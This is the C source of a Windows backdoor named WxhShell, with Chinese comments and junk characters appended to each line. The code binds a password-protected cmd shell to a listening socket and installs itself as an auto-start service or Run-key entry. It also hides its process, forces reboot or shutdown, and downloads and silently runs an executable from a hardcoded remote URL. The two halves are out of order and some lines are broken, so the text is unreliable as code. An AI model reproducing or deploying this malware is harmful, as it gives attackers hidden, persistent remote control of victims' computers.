    if(Boot(SHUTDOWN)) En?V\|,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xzm]v9k&  
    else { z%%O-1   
    closesocket(wsh); W]9*dabem  
    ExitThread(0); ff\~`n~WZ  
    } hm`=wceK  
    break; 4VWk/HK-!  
    } LH8jT  
  // 获取shell RZm%4_p4s  
  case 's': { [@vz0!@s5  
    CmdShell(wsh); N Qk aW)  
    closesocket(wsh); -{cHp  
    ExitThread(0); 6Dlm. ~G  
    break; xzOa9w/  
  } =|S%Rzsk  
  // 退出 &riGzU]  
  case 'x': { IOcQI:4.`  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 8Xot ly  
    CloseIt(wsh); QF#w $%7  
    break; 9=%zdz2_S  
    } BBB@M  
  // 离开 u0q$`9J  
  case 'q': { 4wl1hp>,  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); /\I6j;$z  
    closesocket(wsh); ;]>kp^C#  
    WSACleanup(); Wwq:\C  
    exit(1); n|w+08c"  
    break; 1F^Q*t{  
        } 9-KhJq%  
  } }}AIpYp,P  
  } ,c p2Fac  
I&;>(@K  
  // 提示信息 .f\LzZ-I:  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .Pc>1#z&[  
} t4WB^dHYp  
  } ~s!Q0G^G  
a1U|eLmUb  
  return; M"~jNe|  
} ;b$P*dSG}  
1i76u!{U  
// shell模块句柄 _ E;T"SC  
int CmdShell(SOCKET sock) Zv u6/#  
{ Z/#_Swv  
STARTUPINFO si; w,LtQhQ  
ZeroMemory(&si,sizeof(si)); m1"m KM  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8i#  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Rh!UbEPjC  
PROCESS_INFORMATION ProcessInfo; 06&J!,p :  
char cmdline[]="cmd"; :C~Ar]  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); *'< AwG&  
  return 0; 'wND  
} l!mbpFt  
[ GLH8R  
// 自身启动模式 ToXWFX  
int StartFromService(void) `fu_){  
{ @I _cwUO  
typedef struct Dyo v}y  
{ ) r2Y@+.FN  
  DWORD ExitStatus; ^X=Q{nB  
  DWORD PebBaseAddress; y+k_&ss  
  DWORD AffinityMask; !#tVQ2O  
  DWORD BasePriority; &`"DG$N(  
  ULONG UniqueProcessId; IC`3%^  
  ULONG InheritedFromUniqueProcessId; diq}\'f  
}   PROCESS_BASIC_INFORMATION; D'"  T'@  
BuJo W@)  
PROCNTQSIP NtQueryInformationProcess; NB-dlv1  
oxwbq=a6yV  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; z:Ml;y  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; bz4Gzp'6k  
Hq3|>OqC2Q  
  HANDLE             hProcess; K$CC ~,D  
  PROCESS_BASIC_INFORMATION pbi; zC?' Qiuh*  
@,vmX z  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Wv;0PhF  
  if(NULL == hInst ) return 0; zA,vp^  
CWj_K2=d  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); D tsZP (  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ~f/|bcep  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); <Vat@e  
Wh[QR-7Ew  
  if (!NtQueryInformationProcess) return 0; [BWq9uE  
54 lD+%E  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); *FS8]!Qg  
  if(!hProcess) return 0; `KJ( .m  
SQp|  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ( xs'D4  
pGbfdX  
  CloseHandle(hProcess); i! .]U@{k  
DeO-@4+qKd  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); FXQWT9Kk~_  
if(hProcess==NULL) return 0; ke4E 1T-1n  
#EzBB*kP  
HMODULE hMod;  j]u!;]  
char procName[255]; \Z-th,t  
unsigned long cbNeeded; y7Po$)8l  
3uL f0D  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); F'bwXb**  
}K{1Bm@S  
  CloseHandle(hProcess); i Ha?b2=)  
=u.@W98, K  
if(strstr(procName,"services")) return 1; // 以服务启动 XlmX3RU  
5E!C?dv(z  
  return 0; // 注册表启动 &5 CRXf  
} 5ut| eD`3  
L*@`i ]jl  
// 主模块 mypV[  
int StartWxhshell(LPSTR lpCmdLine) BI'>\hX/V  
{ cc@W 6W  
  SOCKET wsl; LC%o coc  
BOOL val=TRUE; -IPo/?}  
  int port=0; *t@A-Sn  
  struct sockaddr_in door; #mxOwvJ  
!Sc"V.o @!  
  if(wscfg.ws_autoins) Install(); CSM"Kz`  
AIF ?>wgq  
port=atoi(lpCmdLine); { 3G  
v 6~9)\!j  
if(port<=0) port=wscfg.ws_port; 222 Y?3>@D  
: 4ryi&Y  
  WSADATA data; }:Z.g  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; M'*s5:i  
*ap,r&]#F  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   C$[d~1t6  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); d&AG~,&d|  
  door.sin_family = AF_INET;  Nx}nOm  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); *PJH&g#Ge  
  door.sin_port = htons(port); ZU4=&K  
v"*r %nCi  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { J_Lmy7~xbD  
closesocket(wsl); 7! O"k#  
return 1; Z,&O8Jelf  
} |OeyPD#  
_v!7 |&\  
  if(listen(wsl,2) == INVALID_SOCKET) { $)lkiA&;  
closesocket(wsl); KVi6vdgD  
return 1; ?N#I2jxaD  
} !xs}CxEyA  
  Wxhshell(wsl); /MZ<vnN7f  
  WSACleanup(); &@~K8*tmK  
n,N->t$i  
return 0; #bOv}1,s  
M/ 3;-g  
} m+QS -woHn  
]OAU&t{  
// 以NT服务方式启动 Z@~gN5@,M  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Kb~nC6yJc  
{ _4{0He`q  
DWORD   status = 0; 73Dxf -  
  DWORD   specificError = 0xfffffff; 5100fX}  
{K^5q{u  
  serviceStatus.dwServiceType     = SERVICE_WIN32; bz*@[NQ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 'L/)9.29  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; .N(R~_  
  serviceStatus.dwWin32ExitCode     = 0; Vt`4u5HG  
  serviceStatus.dwServiceSpecificExitCode = 0; '+Dsmoy  
  serviceStatus.dwCheckPoint       = 0; xIdb9hm<  
  serviceStatus.dwWaitHint       = 0; JrP`u4f_  
)g pN 5TDd  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); pdu1 kL  
  if (hServiceStatusHandle==0) return; .K C* (}-  
7HkO:/  
status = GetLastError(); TWP@\ BQ  
  if (status!=NO_ERROR) /s?%ft#-9o  
{ 7@ym:6Y+]  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Fh~9(Y#  
    serviceStatus.dwCheckPoint       = 0; 7nt(Rtbsu  
    serviceStatus.dwWaitHint       = 0; I|X`9  
    serviceStatus.dwWin32ExitCode     = status; mnt&!X4<  
    serviceStatus.dwServiceSpecificExitCode = specificError; b(Y   
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); GM|& ,}  
    return; ?QP>rm  
  } &4Z8df!  
>d 5-if  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; {`HbpM<=m]  
  serviceStatus.dwCheckPoint       = 0; -rDfDdT  
  serviceStatus.dwWaitHint       = 0; g=:o'W$@  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ;>,B(Xz4i  
} qq)5)S  
ZflB<cI  
// 处理NT服务事件,比如:启动、停止 s_^`t+5  
VOID WINAPI NTServiceHandler(DWORD fdwControl) |d0X1(  
{ F|%PiC,,qO  
switch(fdwControl) }Qo]~/  
{ b9g2mWL\T  
case SERVICE_CONTROL_STOP: *|&Y ,H?  
  serviceStatus.dwWin32ExitCode = 0; g *5_m(H  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; g[cnaS|?  
  serviceStatus.dwCheckPoint   = 0; u#6s^ )W  
  serviceStatus.dwWaitHint     = 0; [s}W47N1  
  { wgz]R  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Zpd-ob  
  } 'o='Q)Dk  
  return; E:` _P+2p  
case SERVICE_CONTROL_PAUSE: T;u;r@R/  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; P@y)K!{Nk  
  break; l;M,=ctB(  
case SERVICE_CONTROL_CONTINUE: Zma;An6  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; C(>!?-.  
  break; r] /Ej!|  
case SERVICE_CONTROL_INTERROGATE: f2.=1)u.  
  break; 2Z; !N37U  
}; XX=OyDLqP  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9O g  
} :7{GOx  
|5>Tf6 $(  
// 标准应用程序主函数 g? vz\_  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 2j f!o  
{ ;CO qu#(  
F=\ REq  
// 获取操作系统版本 8UB2 du@?  
OsIsNt=GetOsVer(); 'IU3Xu[-.  
GetModuleFileName(NULL,ExeFile,MAX_PATH); jHEP1rNHE  
`8ob Xb  
  // 从命令行安装 lhM5a \  
  if(strpbrk(lpCmdLine,"iI")) Install(); RFM;?!S  
A6z2KVk  
  // 下载执行文件 S{llpp{E  
if(wscfg.ws_downexe) { 1 -Z&/3T]  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ?0)K[Kd'Y  
  WinExec(wscfg.ws_filenam,SW_HIDE); 4(8c L?J`0  
} UDHOcb  
nw+t!C  
if(!OsIsNt) { Sr+hB>{  
// 如果时win9x,隐藏进程并且设置为注册表启动 =1Plu5  
HideProc(); C\{A|'l!x  
StartWxhshell(lpCmdLine); 8{Wl   
} +B{u,xgg  
else m{oe|UVcmr  
  if(StartFromService()) \: ZDY(>1  
  // 以服务方式启动 Aa-5k3:x]=  
  StartServiceCtrlDispatcher(DispatchTable); jd]L}%ax  
else v:lkvMq|=  
  // 普通方式启动 ",apO  
  StartWxhshell(lpCmdLine); A":=-$)  
^a qQw u  
return 0; YM#' +wl}`  
} "s@Hg1  
"= 2\kZ  
27}:f?2hbJ  
G/ si( LK  
=========================================== p*K #s1  
+wG *qI  
M._h=wX{}  
&q&z$Gc;m  
f (C:J[;Z  
@l3&vt2=J  
" :TVo2Zm[@  
FOD'&Yb&  
#include <stdio.h>  /$93#$  
#include <string.h> 7!qeIz  
#include <windows.h> N75U.;U0  
#include <winsock2.h> <j,I@%  
#include <winsvc.h> HFB>0<$  
#include <urlmon.h> e'~Qe_  
Uhu?G0>O  
#pragma comment (lib, "Ws2_32.lib") SN|!FW.*:  
#pragma comment (lib, "urlmon.lib") C;ab-gh  
 }<kl3{)  
#define MAX_USER   100 // 最大客户端连接数 ;0Ua t  
#define BUF_SOCK   200 // sock buffer N[9o6Nl|a  
#define KEY_BUFF   255 // 输入 buffer RrLj5Jq  
j7d^g a-`  
#define REBOOT     0   // 重启 xJ#O|7N  
#define SHUTDOWN   1   // 关机 5X8 i=M;  
]G&[P8hz B  
#define DEF_PORT   5000 // 监听端口 'h ?  
/@Jg [na  
#define REG_LEN     16   // 注册表键长度 ^G qO>1U  
#define SVC_LEN     80   // NT服务名长度 `]]m$  
CUB;0J(  
// 从dll定义API 5> dA7j^v  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); [cFD\"gJAr  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ;+DMv5A "  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); _R0O9sPTO  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 0rX%z$D+@  
;7[DFlS\P  
// wxhshell配置信息 .`*;AT  
struct WSCFG { `C7pM  
  int ws_port;         // 监听端口 H.hKh  
  char ws_passstr[REG_LEN]; // 口令 "#36-  
  int ws_autoins;       // 安装标记, 1=yes 0=no 4iSN.nxIZ  
  char ws_regname[REG_LEN]; // 注册表键名 EqHToD I3  
  char ws_svcname[REG_LEN]; // 服务名 Ag3+z+uS  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 W rT_7  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 alxIc.[  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 '"q+[zwv  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Li8/GoJW-T  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" f x:vhEX  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 U4Zx1ieCKH  
HI1|~hOb'  
}; MF$Dx| Tcj  
'oGMr=gp<&  
// default Wxhshell configuration a^G>|+8  
struct WSCFG wscfg={DEF_PORT, .`*(#9(M9  
    "xuhuanlingzhe", s o: o b}  
    1, }.u[';q ]S  
    "Wxhshell", gdAd7 T  
    "Wxhshell", /_JR7BB^X,  
            "WxhShell Service", jn]l!nm  
    "Wrsky Windows CmdShell Service", WCaMPz  
    "Please Input Your Password: ", 6wOj,}2Mn  
  1, ui"`c%2n  
  "http://www.wrsky.com/wxhshell.exe", 1C=42ZZ&2  
  "Wxhshell.exe" gjiS+N[  
    }; EGRIhnED#  
@<OsTF L  
// 消息定义模块 P;7[5HFF  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; od@!WjcM[8  
char *msg_ws_prompt="\n\r? for help\n\r#>"; R0w~ Z   
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; *?Oh%.HgF  
char *msg_ws_ext="\n\rExit."; Mu.tq~b >  
char *msg_ws_end="\n\rQuit."; e\#aQ1?"  
char *msg_ws_boot="\n\rReboot..."; xt@v"P2Ok  
char *msg_ws_poff="\n\rShutdown..."; (RUc>Qi  
char *msg_ws_down="\n\rSave to "; .|:(VG$MfI  
~ hP]<$v  
char *msg_ws_err="\n\rErr!"; }WR@%)7ay  
char *msg_ws_ok="\n\rOK!"; NUBzc'qb  
zzC{I@b  
char ExeFile[MAX_PATH]; /^i_tLgb  
int nUser = 0; nbw8YO(=  
HANDLE handles[MAX_USER]; wd,6/5=lh  
int OsIsNt; 2#R0Bd  
K-(C5 "j_  
SERVICE_STATUS       serviceStatus; Qm[ )[M  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; p-oEoA  
AHa]=ka>  
// 函数声明 .i7"qq.M  
int Install(void); svC m }`  
int Uninstall(void); EAs^i+/  
int DownloadFile(char *sURL, SOCKET wsh); RR`\q>|  
int Boot(int flag); v&])D/a  
void HideProc(void); '\pSUp  
int GetOsVer(void); 5:~ zlg  
int Wxhshell(SOCKET wsl); %~dn5t ;  
void TalkWithClient(void *cs); qe uc^+P;  
int CmdShell(SOCKET sock); 98|1K>C  
int StartFromService(void); %@I= $8j  
int StartWxhshell(LPSTR lpCmdLine); ip|l3m$Mi  
XU['lr&,W  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ;F2"gTQS  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); r"7 !J[u  
.L)j ql%  
// 数据结构和表定义 E0A[{UA   
SERVICE_TABLE_ENTRY DispatchTable[] = }y|_v^  
{ 1LmbXH]%  
{wscfg.ws_svcname, NTServiceMain}, #E/|W T  
{NULL, NULL} +D h?MQt?  
}; =4/K#cQ  
%u?A>$Jn  
// 自我安装 (>\4%(pnD  
int Install(void) ;MO,HdP;  
{ B .?@VF  
  char svExeFile[MAX_PATH]; 4E$6&,\  
  HKEY key; ?R@u'4yK  
  strcpy(svExeFile,ExeFile); V4*/t#L/  
f 0/q{*  
// 如果是win9x系统,修改注册表设为自启动 _k)EqPYu@  
if(!OsIsNt) { }o=s"0a  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3|Y.+W  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;%/}(&E2  
  RegCloseKey(key); oJc v D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?,r}@89pY  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Qj9'VI>&  
  RegCloseKey(key); SG)|4$"  
  return 0; ~. 5[  
    } n}J!?zZc  
  } ur+\!y7^R  
} Z(ToemF)hi  
else { Xq$9H@.  
D'Kiy  
// 如果是NT以上系统,安装为系统服务 ;k=`J  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); !imjfkG  
if (schSCManager!=0) ?KFj=Yo  
{ |v"&Y  
  SC_HANDLE schService = CreateService U uSCqI};  
  ( x c?=fv  
  schSCManager, `! )^g/>0i  
  wscfg.ws_svcname, NE?tfj  
  wscfg.ws_svcdisp, fc^d3wH0L  
  SERVICE_ALL_ACCESS, hIo ^/_K  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , J)^Kls\> t  
  SERVICE_AUTO_START, g0s *4E  
  SERVICE_ERROR_NORMAL, NV18~5#</  
  svExeFile, xf3/J{n3  
  NULL, &A&2z l %#  
  NULL, gGbJk&E  
  NULL, pq,8z= Uf  
  NULL, #@cEJV;5"  
  NULL zE=^}K+  
  ); h(FFG%H(  
  if (schService!=0) Z"9D1Uk  
  { Oz5Ze/HBN  
  CloseServiceHandle(schService); i7O8f^|  
  CloseServiceHandle(schSCManager); Mir( }E  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); <OGXKv@  
  strcat(svExeFile,wscfg.ws_svcname); rVb61$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { }ho6  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ]L!:/k,=S  
  RegCloseKey(key); vn.j>;E'  
  return 0; 6P`!yBAu  
    } CuYSvW  
  } 9t{Iv({6p  
  CloseServiceHandle(schSCManager); "IzM:  
} e~G um  
} p~<d8n4UH  
O<+x=>_  
return 1; Y-P?t+l  
} xU;Q ~(  
5J*h7  
// 自我卸载 A~ wVY  
int Uninstall(void) pLpWc~#  
{ a_Z[@W  
  HKEY key; ~J1UzUxX2  
K;~I ;G  
if(!OsIsNt) { u [LsH  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,Y27uey{wa  
  RegDeleteValue(key,wscfg.ws_regname); joJQ?lG  
  RegCloseKey(key); Ft 2u&Rtx  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { C <q@C!A  
  RegDeleteValue(key,wscfg.ws_regname); (x8D ]a  
  RegCloseKey(key); $&FeR*$|g  
  return 0; MMyJAGh ^G  
  } 8'VcaU7Nh  
} h~.z[  
} PLQLGb4f_;  
else { 6$\'dkufQ  
w*IDL0#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); X[$FjKZh=F  
if (schSCManager!=0) L[}Ak1 A  
{ 0`kaT ?>  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); K7] +. f  
  if (schService!=0) *l8:%t\  
  { =U3rOYbP;  
  if(DeleteService(schService)!=0) { _iZ9Ch\  
  CloseServiceHandle(schService); %8! }" Xa  
  CloseServiceHandle(schSCManager); W[oQp2 =  
  return 0; 9>[ *y8[:0  
  } cp3O$S  
  CloseServiceHandle(schService); Aw7_diK^  
  } Kd').w  
  CloseServiceHandle(schSCManager); 52z{   
} 7\Wq:<JL  
} )\l(h%s[I  
7Ezy-x2h  
return 1; ,&rHBNS  
} rL<a^/b/=  
bjB4  
// 从指定url下载文件 :eW`El  
int DownloadFile(char *sURL, SOCKET wsh) .#}`r`/  
{ 94 GF8P  
  HRESULT hr; vUgMfy&  
char seps[]= "/"; J4q_}^/2w  
char *token; fV5MI[ t  
char *file; C?7I(b:  
char myURL[MAX_PATH]; Cc>+OUL  
char myFILE[MAX_PATH]; Tj,1]_`=V$  
lb<D,&+  
strcpy(myURL,sURL); 61&A`  
  token=strtok(myURL,seps); SR*KZ1U  
  while(token!=NULL) U|)CZcM  
  { _Rm1-,3  
    file=token; GGkU$qp2~  
  token=strtok(NULL,seps); '( yjq<  
  } 05/'qf7P,U  
E@92hB4D"  
GetCurrentDirectory(MAX_PATH,myFILE); z3Q#Wmv2  
strcat(myFILE, "\\"); Gq9pJ  
strcat(myFILE, file); I?Ct@yxhF'  
  send(wsh,myFILE,strlen(myFILE),0); b=Oec%Adx  
send(wsh,"...",3,0); }ujl2uhM  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); >sm<$'vZ/  
  if(hr==S_OK) -)$5[jM]  
return 0; )~H&YINhn  
else #Bi8>S  
return 1; nx'Yevi0$  
 nypG  
} 0XUWK@)P  
;]sbz4?  
// 系统电源模块 &u~#bDh  
int Boot(int flag) clO9l=g  
{ h!q_''*;  
  HANDLE hToken; oS Apa  
  TOKEN_PRIVILEGES tkp; <t"|wYAa_  
IO}53zn<l  
  if(OsIsNt) { ><3!J+<?  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); vC>8:3Z aq  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); eeu;A, @U  
    tkp.PrivilegeCount = 1; aXRf6:\%  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; $I:&5o i  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Y>To k|PV  
if(flag==REBOOT) { o=y0=,:a?9  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) _"688u'88  
  return 0; vOi4$I~CJ  
} CKr5L  
else { t p<wMrq<  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))  mPS27z(  
  return 0; \O(~:KN  
} .<kbYo:MV  
  } P QA}_o  
  else { 6PdLJ#LS  
if(flag==REBOOT) { 6Dz N.fz  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) )HJ#|JpxC  
  return 0; u5E\wRn  
} &_ W~d0  
else { n|AV7c  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) `T(T]^C98  
  return 0; ?Oyps7hXx  
} qM8"* dL  
} b&\f 8xZ  
{'$+?V"&  
return 1; 8q_"aa,`  
} (~OP)F).  
n>\2_$uDI  
// win9x进程隐藏模块 wC`+^>WFo  
void HideProc(void) m)Sdo gt_  
{ ^q)AO?_  
9A!B|s  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); F0]xc  
  if ( hKernel != NULL ) >N8*O3  
  { EaUO>S  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); #d;/Me  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 4"~l^yK  
    FreeLibrary(hKernel); c01i !XS  
  } G7uYkJO  
;?.w!|6  
return; 32x[6"T  
} hG8<@  
lNba[;_  
// 获取操作系统版本 s5 ($b  
int GetOsVer(void) $ n"*scyI  
{ wjc&S'[  
  OSVERSIONINFO winfo; w~wg[d  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); "'v^X!"  
  GetVersionEx(&winfo); T3,}CK#O   
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) W|4h;[w  
  return 1; 28x:]5=jb  
  else Y=\:fa  
  return 0; fe8}2#<o  
} 2pmqP-pKd  
UWo*%&J  
// 客户端句柄模块 GvI8W)d3,R  
int Wxhshell(SOCKET wsl) P B?92py&  
{ S?<hs,  
  SOCKET wsh; fOJTy0jX8  
  struct sockaddr_in client; v$~$_K  
  DWORD myID; eI3ZV^_Ps  
gnN"6r1  
  while(nUser<MAX_USER)  rBUWzpE"  
{ z=yE- I{  
  int nSize=sizeof(client); i)th] 1K%  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); am+w<NJ(us  
  if(wsh==INVALID_SOCKET) return 1; P^[y~I#{  
K n,td:(  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 14z ?X%  
if(handles[nUser]==0) EFn[[<&><t  
  closesocket(wsh); \qz! v  
else vo>i36  
  nUser++; J>8kJCh9g  
  } 8e32NJ^k~  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); X+kgx!u'y  
3*=_vl3  
  return 0; /I &wh  
} DPr~DO`b  
%00cC~}4  
// 关闭 socket (z  9M  
void CloseIt(SOCKET wsh) )f,9 h  
{ %&j \:X~A  
closesocket(wsh); sf"vii,1A  
nUser--; t-Uo  
ExitThread(0); #\Zr$?t|V  
} TyY%<NCIb  
BlfadM;  
// 客户端请求句柄 |8?e4yVd  
void TalkWithClient(void *cs) l 1vI  
{ 6u>]-K5  
K.Tob,5`  
  SOCKET wsh=(SOCKET)cs; i ?PgYk&}  
  char pwd[SVC_LEN]; :}z `4S@b  
  char cmd[KEY_BUFF]; JFFluL=-  
char chr[1]; >Og|*g  
int i,j; nzU;Bi^m  
xauMF~*  
  while (nUser < MAX_USER) { :!ablO~  
WG*),P?  
if(wscfg.ws_passstr) { L%jIU<?Z7  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); hBi/lHu'  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Mj`g84  
  //ZeroMemory(pwd,KEY_BUFF); 3,?LpdTS  
      i=0; IG&twJR  
  while(i<SVC_LEN) { D)tL}X$  
"!ks7:}v  
  // 设置超时 foUB/&Ee  
  fd_set FdRead; iDWM-Ytx  
  struct timeval TimeOut; ![9$ru  
  FD_ZERO(&FdRead); 6aLRnH"Ud  
  FD_SET(wsh,&FdRead); ^?NLA&v<  
  TimeOut.tv_sec=8; AuT:snCzR  
  TimeOut.tv_usec=0; %{-r'Yi%  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 2"HG6"Rr  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 5W0s9yD  
0n}v"61q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _y&XFdp  
  pwd=chr[0]; \q\"=  
  if(chr[0]==0xd || chr[0]==0xa) { 0S96x}]J B  
  pwd=0; q%LjOPE V  
  break; [* M':  
  } BA[ uO3\4  
  i++; #p ;O3E@  
    } #\ uB!;Q  
UA|\D]xe  
  // 如果是非法用户,关闭 socket ^a<kp69qS  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); U\(71 =  
} +NbiUCMX  
`hdN 6PgK  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); }?o4MiLB  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); '{-Ic?F<P  
!_FTy^@c2  
while(1) { cyo[HI?WM  
XFYa+]B2q  
  ZeroMemory(cmd,KEY_BUFF); C^;>HAK|F  
H+Aidsn  
      // 自动支持客户端 telnet标准   =X9fn  
  j=0; m/"([Y_  
  while(j<KEY_BUFF) { _xmQGX!|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `NTtw;%Y  
  cmd[j]=chr[0]; uW [yNwM  
  if(chr[0]==0xa || chr[0]==0xd) { 3b|=V  
  cmd[j]=0; Gu@C* .jj!  
  break; E*h!{)z@F  
  } YmpaLZJ  
  j++; JfY(};&  
    }  S'\e"w  
Npi) R)  
  // 下载文件 =?Ui(?tI  
  if(strstr(cmd,"http://")) { Kv2S&P|jXM  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); YUHiD *  
  if(DownloadFile(cmd,wsh)) SU1N*k#-o  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?4oP=.  
  else c/igw+L()  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7377g'jL  
  } k>\v]&|T`  
  else { 2W2T  
*{P/3yH  
